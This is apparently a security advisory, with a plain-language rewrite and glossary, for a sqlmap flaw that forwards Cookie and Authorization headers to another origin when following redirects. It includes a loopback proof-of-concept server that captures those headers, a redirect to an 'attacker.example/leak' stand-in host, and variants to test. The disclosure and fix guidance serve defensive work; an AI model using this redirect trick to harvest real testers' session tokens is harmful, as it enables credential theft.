CVE-2026–133305 — Cross-Origin Redirect Üzerinden Kimlik Bilgisi İfşası (sqlmap)
sqlmap forwards user-supplied sensitive headers such as Cookie and Authorization to a different origin when following an HTTP redirect. An attacker controlling the redirect target or exploiting an open redirect could capture the tester's session credentials.
Cve 2026 133305
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
sqlmap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection flaws. To reach an application behind authentication, testers routinely hand it session material: the Cookie header through --cookie, and arbitrary headers such as Authorization through -H. Those headers are meant for the target the tester names on the command line and nothing else.
The component under discussion is sqlmap's HTTP redirect handling, implemented in lib/request/redirecthandler.py. When a target answers with a 3xx status, this handler decides whether to follow the Location header and builds the follow-up request. The researcher found that the follow-up request keeps the user-supplied authentication headers even when the redirect points at a different host or port, so credentials intended for one origin can end up at another.
The report covers sqlmap versions [redacted]#dev and [redacted] and classifies the issue as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), with CWE-522 (Insufficiently Protected Credentials) as a secondary classification. The affected asset is the user-supplied session cookies and authentication headers themselves.
Setup
No accounts or special roles are needed. The preconditions are:
- A sqlmap installation at one of the tested versions.
- A target that returns an HTTP redirect to a different origin, either because the target is malicious or because it contains an open redirect.
- The tester supplying credentials through
--cookieor-H. - Optionally
--batch, which removes the interactive confirmation step.
The proof of concept uses two HTTP servers on separate loopback addresses, so no real user accounts or external infrastructure are involved. All credentials in the test are fake values.
Finding it
The starting observation is a difference in behaviour between sqlmap and mainstream HTTP clients. Browsers, curl and Python requests strip sensitive authentication headers when a redirect crosses an origin boundary. sqlmap, in the tested versions, does not: the Cookie header from --cookie and the Authorization header or other custom headers from -H are preserved and sent to the redirect destination even when the host or port changes.
That alone would be a nuisance if the user were always asked before a redirect is followed. The second half of the finding is that sqlmap may prompt for confirmation in normal use, but with --batch the interactive confirmation is skipped and the default answer is applied, so the redirect is followed without the tester seeing that credentials are about to leave the original origin.
The CVSS v3.1 assessment in the report is 4.3 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N. The reasoning behind each metric:
| Metric | Value | Reasoning in the report |
|---|---|---|
| Attack Vector (AV) | Network | The attack occurs through HTTP redirects over a network. |
| Attack Complexity (AC) | Low | No race condition or complex procedure is required. |
| Privileges Required (PR) | None | The attacker does not need privileges on the sqlmap user's system. |
| User Interaction (UI) | Required | The user must initiate the sqlmap operation against the target. |
| Scope (S) | Unchanged | The impact is limited to disclosure of sensitive information supplied by the sqlmap user. |
| Confidentiality (C) | Low | Session cookies or bearer tokens may be disclosed. |
| Integrity (I) | None | No direct integrity impact is demonstrated. |
| Availability (A) | None | No direct availability impact is demonstrated. |
Exploitation
Step 1: the initial request carries the credentials
The tester runs sqlmap against the intended target with a session cookie and a bearer token attached. The request that leaves sqlmap looks like this:
GET /?id=1 HTTP/1.1Host: target.exampleCookie: [redacted] Bearer MYSECRETTOKEN
The Host header names the origin the tester chose. Cookie and Authorization are the sensitive values that should stay bound to that origin.
Step 2: the target redirects to another origin
Instead of answering the request, the target returns a redirect whose Location points at a different host:
HTTP/1.1 302 FoundLocation: http://attacker.example/leak
Because the destination is a different origin, a client that follows the usual rule would drop Cookie and Authorization before issuing the follow-up request.
Step 3: sqlmap follows the redirect and forwards the headers
sqlmap follows the redirect and, per the report, may forward the sensitive headers from the previous request to the new origin. In normal operation sqlmap may first ask the user whether to follow:
got a 302 redirect to Do you want to follow? [Y/n] Y
With --batch enabled, that interactive confirmation is skipped and the default response is applied, so the redirect is followed without the tester being shown the destination or asked to approve it. The tester may therefore not realise that sensitive headers are being sent to a different origin.
Step 4: the proof of concept
The PoC runs two HTTP servers on separate loopback addresses:
- Server A:
[redacted]:8001, the initial target server. - Server B:
[redacted]:8002, which receives the redirected request.
Server A answers with a 302 Found pointing at Server B. Server B prints the Cookie and Authorization headers it receives. The PoC server is started first:
python3 sqlmap_poc.py
Then sqlmap is run in another terminal:
python3 sqlmap.py \ -u "http://[redacted]:8001/?id=1" \ -H "Authorization: Bearer MYSECRETTOKEN" \
The -u value is the origin the tester intends to talk to. The -H value is the credential that should never leave it.
Step 5: the observed result
When the redirect is followed, Server B prints:
[B] REQUEST RECEIVED: /leak[B] Authorization: Bearer MYSECRETTOKEN[B] Cookie: [redacted]
This shows that the authentication material originally supplied for [redacted]:8001 was also sent to the different origin at [redacted]:8002. The srv=abc value appears alongside the tester-supplied session cookie.
The PoC server
The report includes the full PoC script. The attacker handler prints any Cookie or Authorization header it receives; the target handler answers every request with a 302 to http://[redacted]:8002/leak and sets srv=abc.
import threadingfrom http.server import BaseHTTPRequestHandler, HTTPServerclass AttackerHandler(BaseHTTPRequestHandler): """Receives the redirected request on a different origin.""" def do_GET(self): print(f"\n[B] REQUEST RECEIVED: {self.path}") for header, value in self.headers.items(): if header.lower() in ("cookie", "authorization"): print(f"[B] {header}: {value}") self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") do_POST = do_GET def log_message(self, *args): passclass TargetHandler(BaseHTTPRequestHandler): """Redirects the initial request to the second origin.""" def do_GET(self): self.send_response(302) self.send_header( "Location", "http://[redacted]:8002/leak" ) self.send_header("Set-Cookie", "srv=abc") self.send_header("Content-Length", "0") self.end_headers() do_POST = do_GET def log_message(self, *args): passdef start_attacker_server(): server = HTTPServer( ("[redacted]", 8002), AttackerHandler ) print("[B] Attacker server listening on [redacted]:8002") server.serve_forever()def start_target_server(): server = HTTPServer( ("[redacted]", 8001), TargetHandler ) print("[A] Target server listening on [redacted]:8001") server.serve_forever()if __name__ == "__main__": threading.Thread( target=start_attacker_server, daemon=True ).start() start_target_server()
Attack flow
- The user runs sqlmap against a target application.
- The user supplies session credentials and authentication headers through
--cookieor-H. - The target responds with an HTTP redirect to an attacker-controlled origin or an origin reachable through an open redirect.
- sqlmap follows the redirect.
- User-supplied sensitive headers are forwarded to the new origin.
- The third-party server captures session cookies or bearer tokens.
Root cause
The defect sits in header handling inside lib/request/redirecthandler.py. When sqlmap builds the request for a redirect destination, it carries over the authentication headers supplied by the user without comparing the origin of the original request with the origin of the redirect target. Because the origin check is missing, a change of host or port does not cause Cookie, Authorization or user-supplied sensitive custom headers to be dropped.
The usual client-side defence, stripping credentials on cross-origin redirects, is simply not present in this code path. The interactive prompt is not a substitute for it: with --batch the confirmation is skipped, and the user may not realise that sensitive headers are being sent to a different origin. The report also notes that the protection should apply to all cross-origin redirects, not only when --auth-refresh is in use.
Impact
A malicious target, a compromised target, or a target containing an open redirect can cause the tester's session credentials to be sent to a third-party server. The report lists the possible consequences as:
- Disclosure of session cookies.
- Exposure of bearer tokens.
- Unauthorized acquisition of valid session credentials.
- Potential misuse of captured credentials to access the corresponding application.
The people affected are security researchers and penetration testers using sqlmap against such a target. The vulnerability does not provide code execution within sqlmap itself; the primary security impact is disclosure of user-supplied credentials to a different origin. The CVSS vector rates confidentiality as Low, with no integrity or availability impact demonstrated, and requires user interaction because the tester must start the sqlmap operation.
Fix
The report recommends that the redirect handler compare the source and destination origins. When the origin changes, the following should not be forwarded to the redirected request:
CookieAuthorization- User-supplied custom headers containing authentication credentials
This check should apply to all cross-origin redirects, not only when --auth-refresh is enabled. In addition, sqlmap should consider preventing automatic cross-origin redirects by default in --batch mode, or applying an explicit security check before following them.
Until a fix is available, two workarounds reduce the risk. Redirects can be disabled entirely:
--ignore-redirects
Or the request scope can be restricted to the intended host:
--scope="target.example"
Variants to test
- Scheme change on the same host. Redirect from
http://target.exampletohttps://target.example(or the reverse) and check whetherCookieandAuthorizationsurvive. A positive result is the attacker-side listener receiving the headers even though the scheme, and therefore the origin, changed. - Port change on the same host. Redirect from
target.example:80totarget.example:8080. A positive result is the credential headers arriving at the second port, which is a different origin under the same-origin definition. - Subdomain redirect. Redirect from
app.target.exampletoother.target.example. A positive result is the headers being forwarded across the subdomain boundary. - Redirect chains. Have the first hop stay on the original origin and the second hop leave it. A positive result is the headers being dropped on the first hop but re-attached, or simply carried through, on the second.
- Custom authentication headers. Supply a non-standard header through
-H, for example an API key header, and redirect cross-origin. A positive result is that header appearing at the destination, showing the problem is not limited toCookieandAuthorization. --batchversus interactive mode. Run the same redirect scenario with and without--batch. A positive result is the cross-origin redirect being followed without confirmation in batch mode, and the prompt in interactive mode not making the destination origin clear.--auth-refreshinteraction. Repeat the cross-origin redirect with--auth-refreshenabled and disabled. A positive result is the headers being forwarded in the configuration where the report says the check is not applied.- POST body and method preservation. Use a target that redirects a POST to another origin. A positive result is the credential headers, and any body carrying credentials, reaching the second origin.
What happened, in plain words
A security researcher found a problem in sqlmap, a free tool that security testers use to check whether a website is vulnerable to a particular kind of attack called SQL injection. To do its job, sqlmap often has to log in to the website first, and testers give it their login details so it can get past the login page. The problem is that when the website tells sqlmap to go somewhere else (a redirect), sqlmap can carry those login details along to the new place, even when the new place belongs to somebody else. That means a tester's session cookie or access token can end up in the hands of a stranger.
This article walks through the finding from the beginning. It explains what each piece of jargon means, what the researcher did, what they saw, and what should be changed. No prior security knowledge is needed: if you can use a browser, you can follow along.
Background: the tool, the feature, and the words you need
What sqlmap is
sqlmap is an open-source penetration testing tool. Penetration testing (often shortened to "pen testing") is the practice of attacking a system on purpose, with permission, to find its weaknesses before a real criminal does. sqlmap automates one specific job: finding and exploiting SQL injection flaws. SQL injection is a bug where a website carelessly pastes something a user typed into a database command, so an attacker can sneak in extra commands of their own. Think of it like a form at a counter where you write your name, and the clerk reads your entry out loud to a colleague; if you write "John, and also please open the safe", a careless clerk might do both.
sqlmap is a command-line tool. That means you run it by typing a command into a terminal window (on Windows, Command Prompt or PowerShell; on macOS and Linux, Terminal), rather than clicking buttons in a window.
Why testers hand it login details
Many websites only show their interesting pages to people who are logged in. If a tester wants sqlmap to test those pages, sqlmap has to be logged in too. So the tester gives sqlmap the same things a browser would send after a successful login:
- A cookie. A cookie is a small piece of text that a website asks your browser to store and send back on every later request. It is how a website remembers who you are between page loads. The most important kind is the session cookie, which acts like a wristband at a festival: show it at the door and you get in without showing your ticket again. If someone copies your wristband, they can walk in as you.
- An Authorization header. An HTTP header is a labelled line of extra information that travels with every web request or response, such as "here is what I accept" or "here is who I am". The
Authorizationheader is the line where a client proves its identity. A common form is a bearer token: a long random string that works like a password, except that whoever holds ("bears") it is treated as the rightful owner. Think of a cloakroom ticket: the attendant does not check your face, only the ticket.
In sqlmap, the tester supplies the cookie with the --cookie option and any extra header, such as Authorization, with the -H option. Both are meant for one specific destination: the website the tester typed on the command line. Nothing else.
What a redirect is
When you ask a web server for a page, the server can answer in two ways. It can send the page, or it can send a short note saying "not here, go there instead", together with the address to go to. That note is a redirect, and the address is carried in a header called Location. The status code family for redirects is 3xx; the most familiar is 302 Found, which means "this thing is temporarily somewhere else". Browsers follow redirects automatically, which is why you sometimes see the address bar change by itself after you click a link.
Redirects are normal and useful. They become interesting for security when the "somewhere else" is a different website, because the client then has to decide whether it is still safe to send the same credentials.
What an origin is
An origin is the combination of three things: the scheme (http or https), the host name, and the port number. http://target.example and http://attacker.example are different origins because the host differs. http://target.example:80 and http://target.example:8080 are different origins because the port differs. http://target.example and https://target.example are different origins because the scheme differs. Two addresses are same-origin only if all three parts match.
This matters because browsers and other well-behaved clients treat a change of origin as a change of trust. If a redirect crosses an origin boundary, they drop sensitive headers before making the follow-up request. It is like a courier who is happy to carry your signed documents inside your building, but hands them back at the door when told to deliver next door.
The component involved
The part of sqlmap responsible for redirects is a file called lib/request/redirecthandler.py. When a target answers with a 3xx status, this code decides whether to follow the Location header and builds the follow-up request. The researcher found that the follow-up request keeps the user-supplied authentication headers even when the redirect points at a different host or port. Credentials meant for one origin can therefore end up at another.
The versions and the classification
The report covers sqlmap versions [redacted]#dev and [redacted]. It classifies the issue under two standard labels from CWE, a public catalogue of weakness types:
- CWE-200, Exposure of Sensitive Information to an Unauthorized Actor: secret information reaches someone who should not have it.
- CWE-522, Insufficiently Protected Credentials: passwords, tokens and similar secrets are not guarded well enough.
The affected asset is the user-supplied session cookies and authentication headers themselves.
Setup: what you need to reproduce it
No accounts, no special roles, no real website. The preconditions are:
- A sqlmap installation at one of the tested versions.
- A target that returns an HTTP redirect to a different origin, either because the target is malicious or because it contains an open redirect. An open redirect is a page that will send a visitor to any address supplied in its own URL, without checking where that address points. It is a legitimate feature (used for "return to the page you came from" links) that becomes dangerous when abused.
- The tester supplying credentials through
--cookieor-H. - Optionally
--batch. The--batchoption tells sqlmap to run without asking questions, always taking the default answer. It is what people use for unattended runs, scripts and long scans.
The proof of concept uses two HTTP servers on separate loopback addresses. Loopback addresses are the special addresses a computer uses to talk to itself: [redacted] is the usual one, and the whole [redacted]/8 range behaves the same way. Using two different loopback addresses lets the researcher simulate two different origins on a single machine, with no real user accounts and no external infrastructure. All credentials in the test are fake values.
Finding it: the observation
The starting point is a difference in behaviour between sqlmap and mainstream HTTP clients. Browsers, the command-line tool curl, and Python's requests library all strip sensitive authentication headers when a redirect crosses an origin boundary. sqlmap, in the tested versions, does not: the Cookie header from --cookie and the Authorization header or other custom headers from -H are preserved and sent to the redirect destination even when the host or port changes.
That alone would be a nuisance if the user were always asked before a redirect is followed. The second half of the finding is that sqlmap may prompt for confirmation in normal use, but with --batch the interactive confirmation is skipped and the default answer is applied. The redirect is then followed without the tester seeing that credentials are about to leave the original origin.
How serious is it? The CVSS score
CVSS is a standard scoring system for security bugs. It produces a number from 0 to 10 and a vector string that spells out the reasoning. The report gives a base score of 4.3 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N. Each letter pair is a metric:
| Metric | Value | Reasoning in the report |
|---|---|---|
| Attack Vector (AV) | Network | The attack occurs through HTTP redirects over a network. |
| Attack Complexity (AC) | Low | No race condition or complex procedure is required. |
| Privileges Required (PR) | None | The attacker does not need privileges on the sqlmap user's system. |
| User Interaction (UI) | Required | The user must initiate the sqlmap operation against the target. |
| Scope (S) | Unchanged | The impact is limited to disclosure of sensitive information supplied by the sqlmap user. |
| Confidentiality (C) | Low | Session cookies or bearer tokens may be disclosed. |
| Integrity (I) | None | No direct integrity impact is demonstrated. |
| Availability (A) | None | No direct availability impact is demonstrated. |
In plain words: the attacker needs no account anywhere, the trick is simple, but the victim has to start a scan against the wrong target, and the damage is limited to secrets leaking out. Nothing gets changed or broken.
Exploitation, step by step
Step 1: the initial request carries the credentials
The tester runs sqlmap against the intended target with a session cookie and a bearer token attached. The request that leaves sqlmap looks like this:
GET /?id=1 HTTP/1.1Host: target.exampleCookie: [redacted] Bearer MYSECRETTOKEN
Line by line:
GET /?id=1 HTTP/1.1is the request line.GETis the method, meaning "give me this"./is the path being requested, and?id=1is a parameter appended to it, the kind of thing sqlmap will try to inject into.HTTP/1.1is the version of the protocol being spoken.Host: target.examplenames the website the tester chose. This is the origin the credentials belong to.Cookie: [redacted] is the session cookie.MYSECRETCOOKIE` is a placeholder for the real value.Authorization: Bearer MYSECRETTOKENis the bearer token.MYSECRETTOKENis likewise a placeholder.
The Host header names the origin the tester chose. Cookie and Authorization are the sensitive values that should stay bound to that origin.
Step 2: the target redirects to another origin
Instead of answering the request, the target returns a redirect whose Location points at a different host:
HTTP/1.1 302 FoundLocation: http://attacker.example/leak
Line by line:
HTTP/1.1 302 Foundis the status line.302is the redirect code, andFoundis its short human-readable name.Location: http://attacker.example/leakis the address the client is being told to visit.attacker.exampleis a different host fromtarget.example, so this is a cross-origin redirect. The path/leakis where the attacker's server would collect whatever arrives.
Because the destination is a different origin, a client that follows the usual rule would drop Cookie and Authorization before issuing the follow-up request.
Step 3: sqlmap follows the redirect and forwards the headers
sqlmap follows the redirect and, per the report, may forward the sensitive headers from the previous request to the new origin. In normal operation sqlmap may first ask the user whether to follow:
got a 302 redirect to Do you want to follow? [Y/n] Y
This is an interactive prompt. [Y/n] means "press Y for yes, or n for no; if you just press Enter, the capitalised default (Y) is taken". The trailing Y is the answer given.
With --batch enabled, that interactive confirmation is skipped and the default response is applied, so the redirect is followed without the tester being shown the destination or asked to approve it. The tester may therefore not realise that sensitive headers are being sent to a different origin. This is the same idea as clicking "don't ask me again" in a desktop application: convenient, but you stop seeing the warnings.
Step 4: the proof of concept
The PoC runs two HTTP servers on separate loopback addresses:
- Server A:
[redacted]:8001, the initial target server. - Server B:
[redacted]:8002, which receives the redirected request.
Server A answers with a 302 Found pointing at Server B. Server B prints the Cookie and Authorization headers it receives. The PoC server is started first:
python3 sqlmap_poc.py
This runs the Python script that starts both servers. python3 is the Python interpreter, and sqlmap_poc.py is the file containing the script. You run it in one terminal window and leave it running.
Then sqlmap is run in another terminal:
python3 sqlmap.py \ -u "http://[redacted]:8001/?id=1" \ -H "Authorization: Bearer MYSECRETTOKEN" \
Line by line:
python3 sqlmap.pyruns sqlmap itself, which is a Python program.- The backslash
\at the end of a line means "the command continues on the next line". It is only there to make a long command readable. -u "http://[redacted]:8001/?id=1"is the URL (the address) of the target. This is the origin the tester intends to talk to: Server A on port 8001.-H "Authorization: Bearer MYSECRETTOKEN"adds a custom header to every request. This is the credential that should never leave the intended origin.
The -u value is the origin the tester intends to talk to. The -H value is the credential that should never leave it.
Step 5: the observed result
When the redirect is followed, Server B prints:
[B] REQUEST RECEIVED: /leak[B] Authorization: Bearer MYSECRETTOKEN[B] Cookie: [redacted]
Line by line:
[B] REQUEST RECEIVED: /leaksays that Server B, the second origin, received a request for the path/leak. The[B]prefix is just a label so the output from the two servers can be told apart.[B] Authorization: Bearer MYSECRETTOKENis the bearer token that was supplied for Server A, now arriving at Server B.[B] Cookie: [redacted] is the cookie header. It contains the tester-supplied[redacted] plus a second value,srv=abc. The;separates the two cookies in one header.
This shows that the authentication material originally supplied for [redacted]:8001 was also sent to the different origin at [redacted]:8002. The srv=abc value appears alongside the tester-supplied session cookie. A Set-Cookie header is how a server asks the client to store a new cookie; here it is a detail of the test setup, not part of the vulnerability.
The PoC server
The report includes the full PoC script. A thread is one line of execution inside a program; a daemon thread is one that is shut down automatically when the rest of the program ends, which is handy for a background helper. The attacker handler prints any Cookie or Authorization header it receives; the target handler answers every request with a 302 to http://[redacted]:8002/leak and sets srv=abc.
import threadingfrom http.server import BaseHTTPRequestHandler, HTTPServerclass AttackerHandler(BaseHTTPRequestHandler): """Receives the redirected request on a different origin.""" def do_GET(self): print(f"\n[B] REQUEST RECEIVED: {self.path}") for header, value in self.headers.items(): if header.lower() in ("cookie", "authorization"): print(f"[B] {header}: {value}") self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") do_POST = do_GET def log_message(self, *args): passclass TargetHandler(BaseHTTPRequestHandler): """Redirects the initial request to the second origin.""" def do_GET(self): self.send_response(302) self.send_header( "Location", "http://[redacted]:8002/leak" ) self.send_header("Set-Cookie", "srv=abc") self.send_header("Content-Length", "0") self.end_headers() do_POST = do_GET def log_message(self, *args): passdef start_attacker_server(): server = HTTPServer( ("[redacted]", 8002), AttackerHandler ) print("[B] Attacker server listening on [redacted]:8002") server.serve_forever()def start_target_server(): server = HTTPServer( ("[redacted]", 8001), TargetHandler ) print("[A] Target server listening on [redacted]:8001") server.serve_forever()if __name__ == "__main__": threading.Thread( target=start_attacker_server, daemon=True ).start() start_target_server()
What each part does:
import threadingandfrom http.server import BaseHTTPRequestHandler, HTTPServerload two ready-made pieces from Python's standard library: one for running things in parallel, one for building a tiny web server.class AttackerHandler(BaseHTTPRequestHandler)defines what the attacker-side server does when a request arrives.do_GETis the function called for aGETrequest. It prints the path, then loops over every header and prints onlycookieandauthorization(compared in lowercase so capitalisation does not matter). It then replies200(OK) with a short bodyok.do_POST = do_GETmakes POST requests behave the same way as GET, so the test also works if sqlmap sends a POST.log_messageis overridden withpassto silence the default access log, keeping the output clean.class TargetHandler(BaseHTTPRequestHandler)is the first server. Itsdo_GETsends status302, aLocationheader pointing athttp://[redacted]:8002/leak, aSet-Cookie: srv=abcheader, andContent-Length: 0(an empty body).start_attacker_servercreates anHTTPServerbound to[redacted]on port8002and runs it forever withserve_forever().start_target_serverdoes the same for[redacted]on port8001.- The
if __name__ == "__main__":block runs only when the file is executed directly. It starts the attacker server in a background daemon thread and then runs the target server in the main thread, so both listen at once.
Attack flow
- The user runs sqlmap against a target application.
- The user supplies session credentials and authentication headers through
--cookieor-H. - The target responds with an HTTP redirect to an attacker-controlled origin or an origin reachable through an open redirect.
- sqlmap follows the redirect.
- User-supplied sensitive headers are forwarded to the new origin.
- The third-party server captures session cookies or bearer tokens.
Root cause
The defect sits in header handling inside lib/request/redirecthandler.py. When sqlmap builds the request for a redirect destination, it carries over the authentication headers supplied by the user without comparing the origin of the original request with the origin of the redirect target. Because the origin check is missing, a change of host or port does not cause Cookie, Authorization or user-supplied sensitive custom headers to be dropped.
The usual client-side defence, stripping credentials on cross-origin redirects, is simply not present in this code path. The interactive prompt is not a substitute for it: with --batch the confirmation is skipped, and the user may not realise that sensitive headers are being sent to a different origin. The report also notes that the protection should apply to all cross-origin redirects, not only when --auth-refresh is in use. The report's point is that the protection should apply to all cross-origin redirects, not only when --auth-refresh is in use.
Impact
A malicious target, a compromised target, or a target containing an open redirect can cause the tester's session credentials to be sent to a third-party server. The report lists the possible consequences as:
- Disclosure of session cookies.
- Exposure of bearer tokens.
- Unauthorized acquisition of valid session credentials.
- Potential misuse of captured credentials to access the corresponding application.
The people affected are security researchers and penetration testers using sqlmap against such a target. The vulnerability does not provide code execution within sqlmap itself; the primary security impact is disclosure of user-supplied credentials to a different origin. The CVSS vector rates confidentiality as Low, with no integrity or availability impact demonstrated, and requires user interaction because the tester must start the sqlmap operation.
Fix
The report recommends that the redirect handler compare the source and destination origins. When the origin changes, the following should not be forwarded to the redirected request:
CookieAuthorization- User-supplied custom headers containing authentication credentials
This check should apply to all cross-origin redirects, not only when --auth-refresh is enabled. In addition, sqlmap should consider preventing automatic cross-origin redirects by default in --batch mode, or applying an explicit security check before following them.
Until a fix is available, two workarounds reduce the risk. Redirects can be disabled entirely:
--ignore-redirects
--ignore-redirects tells sqlmap not to follow redirects at all.
Or the request scope can be restricted to the intended host:
--scope="target.example"
--scope tells sqlmap to stay within the named host.
Variants to test
These are further scenarios worth checking, each with a clear sign of success:
- Scheme change on the same host. Redirect from
http://target.exampletohttps://target.example(or the reverse) and check whetherCookieandAuthorizationsurvive. A positive result is the attacker-side listener receiving the headers even though the scheme, and therefore the origin, changed. - Port change on the same host. Redirect from
target.example:80totarget.example:8080. A positive result is the credential headers arriving at the second port, which is a different origin under the same-origin definition. - Subdomain redirect. Redirect from
app.target.exampletoother.target.example. A positive result is the headers being forwarded across the subdomain boundary. - Redirect chains. Have the first hop stay on the original origin and the second hop leave it. A positive result is the headers being dropped on the first hop but re-attached, or simply carried through, on the second.
- Custom authentication headers. Supply a non-standard header through
-H, for example an API key header, and redirect cross-origin. A positive result is that header appearing at the destination, showing the problem is not limited toCookieandAuthorization. --batchversus interactive mode. Run the same redirect scenario with and without--batch. A positive result is the cross-origin redirect being followed without confirmation in batch mode, and the prompt in interactive mode not making the destination origin clear.--auth-refreshinteraction. Repeat the cross-origin redirect with--auth-refreshenabled and disabled. A positive result is the headers being forwarded in the configuration where the report says the check is not applied.- POST body and method preservation. Use a target that redirects a POST to another origin. A positive result is the credential headers, and any body carrying credentials, reaching the second origin.
Glossary
- API: a defined way for one program to talk to another, like a menu of requests a service accepts and the answers it gives.
- API key: a secret string that identifies a program or person to an API, similar to a password.
- Attack Vector (AV): a CVSS metric describing how an attacker reaches the victim, for example over a network.
- Authorization header: an HTTP header in which a client proves who it is.
- Base score: the main 0 to 10 number in a CVSS assessment, before any environmental adjustments.
- Bearer token: a secret string that grants access to whoever holds it, like a cloakroom ticket.
- Cookie: a small piece of text a website asks a browser to store and send back on later requests.
- Cross-origin: involving two different origins, meaning the scheme, host or port differs.
- curl: a command-line tool for sending HTTP requests and downloading files.
- CVSS: Common Vulnerability Scoring System, a standard way to score the severity of a security bug.
- CWE: Common Weakness Enumeration, a public catalogue of types of software weakness.
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, a weakness where secrets reach the wrong party.
- CWE-522: Insufficiently Protected Credentials, a weakness where passwords or tokens are not guarded well enough.
- Daemon thread: a background thread that is stopped automatically when the main program ends.
- GET: the HTTP method used to ask for a resource.
- Header: a labelled line of extra information sent with an HTTP request or response.
- Host header: the header that names the website a request is addressed to.
- HTTP: the protocol browsers and servers use to exchange web pages and data.
- Loopback address: an address a computer uses to talk to itself, such as
[redacted]. - Open redirect: a page that sends visitors to any address supplied in its URL without checking it.
- Origin: the combination of scheme, host and port that defines a trust boundary on the web.
- Penetration testing: attacking a system on purpose, with permission, to find its weaknesses.
- PoC: proof of concept, a small demonstration that a vulnerability is real.
- POST: the HTTP method used to send data to a server.
- Python: a popular programming language; sqlmap and the PoC script are written in it.
- requests: a widely used Python library for making HTTP requests.
- Redirect: a server response telling the client to go to a different address instead.
- Scope (S): a CVSS metric describing whether the impact stays within the vulnerable component or spreads beyond it.
- Session cookie: a cookie that identifies a logged-in session, like a festival wristband.
- Set-Cookie: a response header by which a server asks the client to store a cookie.
- SQL injection: a flaw where user input is pasted into a database command, letting an attacker add commands of their own.
- sqlmap: an open-source tool that automates finding and exploiting SQL injection flaws.
- Status code: a three-digit number in an HTTP response saying how the request went, such as 200 for OK or 302 for a redirect.
- Thread: one line of execution inside a program, letting it do several things at once.
- Token: a secret string used in place of a password to prove identity.
- URL: the address of a resource on the web.
- User Interaction (UI): a CVSS metric saying whether the victim has to do something for the attack to work.
- Vector string: the compact code in a CVSS score that lists the value of every metric.
- 3xx: the family of HTTP status codes that mean a redirect.
- 302 Found: the most common redirect status code, meaning the resource is temporarily elsewhere.